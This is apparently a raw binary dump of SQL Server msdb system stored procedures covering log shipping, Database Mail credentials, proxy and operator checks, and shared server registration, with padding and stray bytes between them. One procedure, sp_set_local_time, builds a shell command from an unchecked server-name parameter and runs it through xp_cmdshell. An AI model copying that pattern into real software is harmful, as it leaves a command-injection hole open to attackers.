!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Ry`<'ZMe
0<b 8CREATE PROCEDURE sp_log_shipping_get_date_from_file 
  @db_name sysname,
  @filename NVARCHAR (500),
  @file_date DATETIME OUTPUT
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @tempname NVARCHAR (500)
  IF (LEN (@filename) - (LEN(@db_name) + LEN ('_tlog_')) <= 0)
    RETURN(1) -- filename string isn't long enough
  SELECT @tempname = RIGHT (@filename, LEN (@filename) - (LEN(@db_name) + LEN ('_tlog_')))
  IF (CHARINDEX ('.',@tempname,0) > 0)
    SELECT @tempname = LEFT (@tempname, CHARINDEX ('.',@tempname,0) - 1)
  IF (LEN (@tempname) <>  8 AND LEN (@tempname) <> 12)
    RETURN (1) -- error must be yyyymmddhhmm or yyyymmdd
  IF (ISNUMERIC (@tempname) = 0 OR CHARINDEX ('.',@tempname,0) <> 0 OR CONVERT (FLOAT,SUBSTRING (@tempname, 1,8)) < 1 )
    RETURN (1) -- must be numeric, can't contain any '.' etc
  SELECT @file_date = CONVERT (DATETIME,SUBSTRING (@tempname, 1,8),112)
  IF (LEN (@tempname) = 12)
  BEGIN
    SELECT @file_date = DATEADD (hh, CONVERT (INT, SUBSTRING (@tempname,9,2)),@file_date)
    SELECT @file_date = DATEADD (mi, CONVERT (INT, SUBSTRING (@tempname,11,2)),@file_date)
  END
  RETURN (0) -- success
END
0fc K8
CREATE PROCEDURE dbo.sysmail_alter_user_credential_sp
   @credential_name sysname,
   @username      nvarchar(128),
   @password      nvarchar(128)
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @sql NVARCHAR(max)

   -- alter credential DDL
   SET @sql = N'ALTER CREDENTIAL ' + QUOTENAME(@credential_name)
         + N' WITH IDENTITY = ' + QUOTENAME(@username, '''')
         + N', SECRET = ' + QUOTENAME(ISNULL(@password, N''), '''')

   EXEC @rc = sp_executesql @statement = @sql
   IF(@rc <> 0)
      RETURN @rc

   RETURN(0)
0Nc 
8CREATE PROCEDURE sp_set_local_time
  @server_name           sysname = NULL,
  @adjustment_in_minutes INT          = 0 -- Only needed for Win9x
AS
BEGIN
  DECLARE @ret              INT
  DECLARE @local_time       INT
  DECLARE @local_date       INT
  DECLARE @current_datetime DATETIME
  DECLARE @local_time_sz    VARCHAR(30)
  DECLARE @cmd              NVARCHAR(200)
  DECLARE @date_format      NVARCHAR(64)
  DECLARE @year_sz          NVARCHAR(16)
  DECLARE @month_sz         NVARCHAR(16)
  DECLARE @day_sz           NVARCHAR(16)

  -- Synchronize the clock with the remote server (if supplied)
  -- NOTE: NT takes timezones into account, whereas Win9x does not
  IF (@server_name IS NOT NULL)
  BEGIN
    SELECT @cmd = N'net time \\' + @server_name + N' /set /y'
    EXECUTE @ret = master.dbo.xp_cmdshell @cmd, no_output
    IF (@ret <> 0)
      RETURN(1) -- Failure
  END

  -- Since NET TIME on Win9x does not take time zones into account we need to manually adjust
  -- for this using @adjustment_in_minutes which will be the difference between the MSX GMT
  -- offset and the target server GMT offset
  IF ((PLATFORM() & 0x2) = 0x2) -- Win9x
  BEGIN
    -- Get the date format from the registry (so that we can construct our DATE command-line command)
    EXECUTE master.dbo.xp_regread N'HKEY_CURRENT_USER',
                                  N'Control Panel\International',
                                  N'sShortDate',
                                  @date_format OUTPUT,
                                  N'no_output'
    SELECT @date_format = LOWER(@date_format)

    IF (@adjustment_in_minutes <> 0)
    BEGIN
      -- Wait for SQLServer to re-cache the OS time
      WAITFOR DELAY '00:01:00'

      SELECT @current_datetime = DATEADD(mi, @adjustment_in_minutes, GETDATE())
      SELECT @local_time_sz = SUBSTRING(CONVERT(VARCHAR, @current_datetime, 8), 1, 5)
      SELECT @local_time = CONVERT(INT, LTRIM(SUBSTRING(@local_time_sz, 1, PATINDEX('%:%', @local_time_sz) - 1)  + SUBSTRING(@local_time_sz, PATINDEX('%:%', @local_time_sz) + 1, 2)))
      SELECT @local_date = CONVERT(INT, CONVERT(VARCHAR, @current_datetime, 112))

      -- Set the date
      SELECT @year_sz = CONVERT(NVARCHAR, @local_date / 10000)
      SELECT @month_sz = CONVERT(NVARCHAR, (@local_date % 10000) / 100)
      SELECT @day_sz = CONVERT(NVARCHAR, @local_date % 100)

      IF (@date_format LIKE N'y%m%d')
        SELECT @cmd = N'DATE ' + @year_sz + N'-' + @month_sz + N'-' + @day_sz
      IF (@date_format LIKE N'y%d%m')
        SELECT @cmd = N'DATE ' + @year_sz + N'-' + @day_sz + N'-' + @month_sz
      IF (@date_format LIKE N'm%d%y')
        SELECT @cmd = N'DATE ' + @month_sz + N'-' + @day_sz + N'-' + @year_sz
      IF (@date_format LIKE N'd%m%y')
        SELECT @cmd = N'DATE ' + @day_sz + N'-' + @month_sz + N'-' + @year_sz

      EXECUTE @ret = master.dbo.xp_cmdshell @cmd, no_output
      IF (@ret <> 0)
        RETURN 1 -- Failure

      -- Set the time (NOTE: We can't set the millisecond part of the time, so we may be up to .999 sec off)
      SELECT @cmd = N'TIME ' + CONVERT(NVARCHAR, @local_time / 100) + N':' + CONVERT(NVARCHAR, @local_time % 100) + ':' + CONVERT(NVARCHAR(2), DATEPART(SS, GETDATE()))
      EXECUTE @ret = master.dbo.xp_cmdshell @cmd, no_output
      IF (@ret <> 0)
        RETURN 1 -- Failure
    END

  END

  RETURN(0) -- Success
END
0uc D8<hP 0
d 8
CREATE PROCEDURE dbo.sysmail_drop_user_credential_sp
   @credential_name sysname
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @sql NVARCHAR(max)

   -- Drop credential DDL
   SET @sql = N'DROP CREDENTIAL ' + QUOTENAME(@credential_name)

   EXEC @rc = sp_executesql @statement = @sql
   IF(@rc <> 0)
      RETURN @rc

   RETURN(0)
0Kģc c8CREATE PROCEDURE [dbo].[sp_syscollector_get_tsql_query_collector_package_ids]
    @collection_set_uid            uniqueidentifier,
    @collection_item_id            int,
    @collection_package_id        uniqueidentifier OUTPUT,
    @upload_package_id            uniqueidentifier OUTPUT,
    @collection_package_name    sysname OUTPUT,
    @upload_package_name        sysname OUTPUT    
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND 
        NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND
        NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator'' or ''dc_proxy')
        RETURN(1) -- Failure
    END

    SELECT @collection_package_id = collection_package_id,
        @upload_package_id = upload_package_id
    FROM dbo.syscollector_tsql_query_collector
    WHERE @collection_item_id = collection_item_id 
      AND @collection_set_uid = collection_set_uid

    IF(@collection_package_id IS NOT NULL AND @upload_package_id IS NOT NULL)
    BEGIN
        SELECT @collection_package_name = name
        FROM dbo.sysssispackages
        WHERE @collection_package_id = id

        SELECT @upload_package_name = name
        FROM dbo.sysssispackages
        WHERE @upload_package_id = id
    END
END
0!nc +8(getdate())09c &8((-1))00-d %8(N'')0ͥc %8((0))0c %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!TJ.y`<:[M(0q 8
CREATE PROCEDURE sp_verify_proxy_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @proxy_name [sysname] OUTPUT,
   @proxy_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @proxy_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @proxy_name             = LTRIM(RTRIM(@proxy_name))

  IF (@proxy_name = N'') SELECT @proxy_name = NULL

  IF ((@proxy_name IS NULL)     AND (@proxy_id IS NULL)) OR
     ((@proxy_name IS NOT NULL) AND (@proxy_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check proxy id
  IF (@proxy_id IS NOT NULL)
  BEGIN
    SELECT @proxy_name = name
    FROM msdb.dbo.sysproxies
    WHERE (proxy_id = @proxy_id)
    IF (@proxy_name IS NULL)
    BEGIN
     SELECT @proxy_id_as_char = CONVERT(nvarchar(36), @proxy_id)
      RAISERROR(14262, -1, -1, @name_of_id_parameter, @proxy_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check proxy name
  IF (@proxy_name IS NOT NULL)
  BEGIN
    -- The name is not ambiguous, so get the corresponding proxy_id (if the job exists)
    SELECT @proxy_id = proxy_id
    FROM msdb.dbo.sysproxies
    WHERE (name = @proxy_name)
    IF (@proxy_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, @name_of_name_parameter, @proxy_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0[r 8
CREATE PROCEDURE dbo.sysmail_delete_principalprofile_sp
   @principal_id int = NULL, -- must provide id or name
   @principal_name sysname = NULL,
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @principal_sid varbinary(85)
   DECLARE @profileid int

   IF (@principal_id IS NOT NULL AND @principal_id = 0) OR (@principal_name IS NOT NULL AND @principal_name = N'public')
   BEGIN
      IF (@principal_id IS NOT NULL AND @principal_id <> 0) OR (@principal_name IS NOT NULL AND @principal_name <> N'public')
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  -- id and name do not match
      END
      SET @principal_sid = 0x00 -- public
   END
   ELSE
   BEGIN
      IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL) 
      BEGIN
         exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 1, @principal_sid OUTPUT
         IF @rc <> 0
            RETURN(1)
      END
   END
   
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF ((@principal_id IS NOT NULL OR @principal_name IS NOT NULL) AND @profileid IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE principal_sid=@principal_sid AND profile_id = @profileid
   END
   ELSE IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE principal_sid=@principal_sid
   END
   ELSE IF (@profileid IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE profile_id = @profileid
   END
   ELSE -- no parameters are supplied for deletion
   BEGIN
      RAISERROR(14608, -1, -1, 'principal', 'profile') 
      RETURN(6)
   END
   
   RETURN(0)
0 r 8
CREATE PROCEDURE sp_verify_operator_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @operator_name [sysname] OUTPUT,
   @operator_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval              INT
  DECLARE @operator_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @operator_name             = LTRIM(RTRIM(@operator_name))

  IF (@operator_name = N'') SELECT @operator_name = NULL

  IF ((@operator_name IS NULL)     AND (@operator_id IS NULL)) OR
     ((@operator_name IS NOT NULL) AND (@operator_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check job id
  IF (@operator_id IS NOT NULL)
  BEGIN
    SELECT @operator_name = name
    FROM msdb.dbo.sysoperators
    WHERE (id = @operator_id)
    IF (@operator_name IS NULL)
    BEGIN
     SELECT @operator_id_as_char = CONVERT(nvarchar(36), @operator_id)
      RAISERROR(14262, -1, -1, '@operator_id', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check proxy name
  IF (@operator_name IS NOT NULL)
  BEGIN
    -- The name is not ambiguous, so get the corresponding operator_id (if the job exists)
    SELECT @operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @operator_name)
    IF (@operator_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@operator_name', @operator_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0q d8CREATE PROCEDURE [dbo].[sp_sysmanagement_add_shared_registered_server]
    @name sysname,
    @server_group_id INT,
    @server_name sysname,
    @description NVARCHAR(2048) = N'',
    @server_type INT,
    @server_id INT OUTPUT
AS
BEGIN
    DECLARE @retval INT

    EXECUTE @retval = sp_sysmanagement_verify_shared_server_type @server_type

    IF (@retval <> 0)
        RETURN(1) -- Failure
    
    IF( (@server_group_id IS NULL) OR 
        (@server_group_id NOT IN (SELECT sg.server_group_id FROM msdb.dbo.sysmanagement_shared_server_groups_internal sg)))
    BEGIN
        RAISERROR (35001, -1, -1)
        RETURN (1)
    END

    IF EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal]  sg 
                WHERE @server_group_id = sg.server_group_id AND @server_type <> sg.server_type)
    BEGIN
        RAISERROR (35002, -1, -1)
        RETURN (1)
    END    

    IF (@server_name IS NULL)
    BEGIN
        RAISERROR(14618, -1, 1, '@server_name')
        RETURN(1)   
    END

    set @server_name = LTRIM(@server_name)
    set @server_name = RTRIM(@server_name)

    -- Disallow relative names
    IF ('.' = @server_name) OR
        (1 = CHARINDEX(N'.\', @server_name)) OR
        (1 = CHARINDEX(N'LOCALHOST\', UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS))) OR
        (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = 'LOCALHOST') OR
        (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    BEGIN
        RAISERROR (35011, -1, -1)
        RETURN (1)
    END

    IF (UPPER(@@SERVERNAME collate SQL_Latin1_General_CP1_CS_AS) = UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        RAISERROR (35012, -1, -1)
        RETURN (1)
    END

    INSERT INTO [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
        (server_group_id, name, server_name, description, server_type)
    VALUES
        (@server_group_id, @name, @server_name, @description, @server_type)
        
    SELECT @server_id = SCOPE_IDENTITY()
    RETURN (0)
END
0{r '8((0.0))0]Fr %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6\A\NY
0/Ps 8
CREATE PROCEDURE dbo.sysmail_help_principalprofile_sp
   @principal_id int = NULL, -- must provide id or name
   @principal_name sysname = NULL,
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @principal_sid varbinary(85)
   DECLARE @profileid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   IF (@principal_id IS NOT NULL AND @principal_id = 0) OR (@principal_name IS NOT NULL AND @principal_name = N'public')
   BEGIN
      IF (@principal_id IS NOT NULL AND @principal_id <> 0) OR (@principal_name IS NOT NULL AND @principal_name <> N'public')
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  -- id and name do not match
      END
      SET @principal_sid = 0x00 -- public

      IF (@profileid IS NOT NULL)
      BEGIN
         SELECT principal_id=0, 
                principal_name = N'public', 
                prof.profile_id, 
                profile_name=prof.name, 
                prin.is_default
         FROM msdb.dbo.sysmail_principalprofile prin, msdb.dbo.sysmail_profile prof 
         WHERE prin.profile_id=prof.profile_id AND 
               prin.principal_sid = @principal_sid AND 
               prof.profile_id=@profileid
      END
      ELSE
      BEGIN
         SELECT principal_id=0, 
                principal_name = N'public', 
                prof.profile_id, 
                profile_name=prof.name, 
                prin.is_default
         FROM msdb.dbo.sysmail_principalprofile prin, msdb.dbo.sysmail_profile prof 
         WHERE prin.profile_id=prof.profile_id AND 
               prin.principal_sid = @principal_sid
      END
   END
   ELSE -- non-public profiles
   BEGIN
      IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)      
      BEGIN
            exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 1, @principal_sid OUTPUT
            IF @rc <> 0
               RETURN(2)
      END

      IF ((@principal_id IS NOT NULL OR @principal_name IS NOT NULL) AND @profileid IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  (prinprof.principal_sid = @principal_sid OR prinprof.principal_sid = 0x00) AND
                  prof.profile_id = prinprof.profile_id AND
                  prinprof.profile_id = @profileid
      END
      ELSE IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  (prinprof.principal_sid = @principal_sid OR prinprof.principal_sid = 0x00) AND
                  prof.profile_id = prinprof.profile_id
      END
      ELSE IF (@profileid IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  prof.profile_id = prinprof.profile_id AND
                  prinprof.profile_id = @profileid
      END
      ELSE -- no parameters are supplied for filtering
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  prof.profile_id = prinprof.profile_id
      END
   END
   RETURN(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!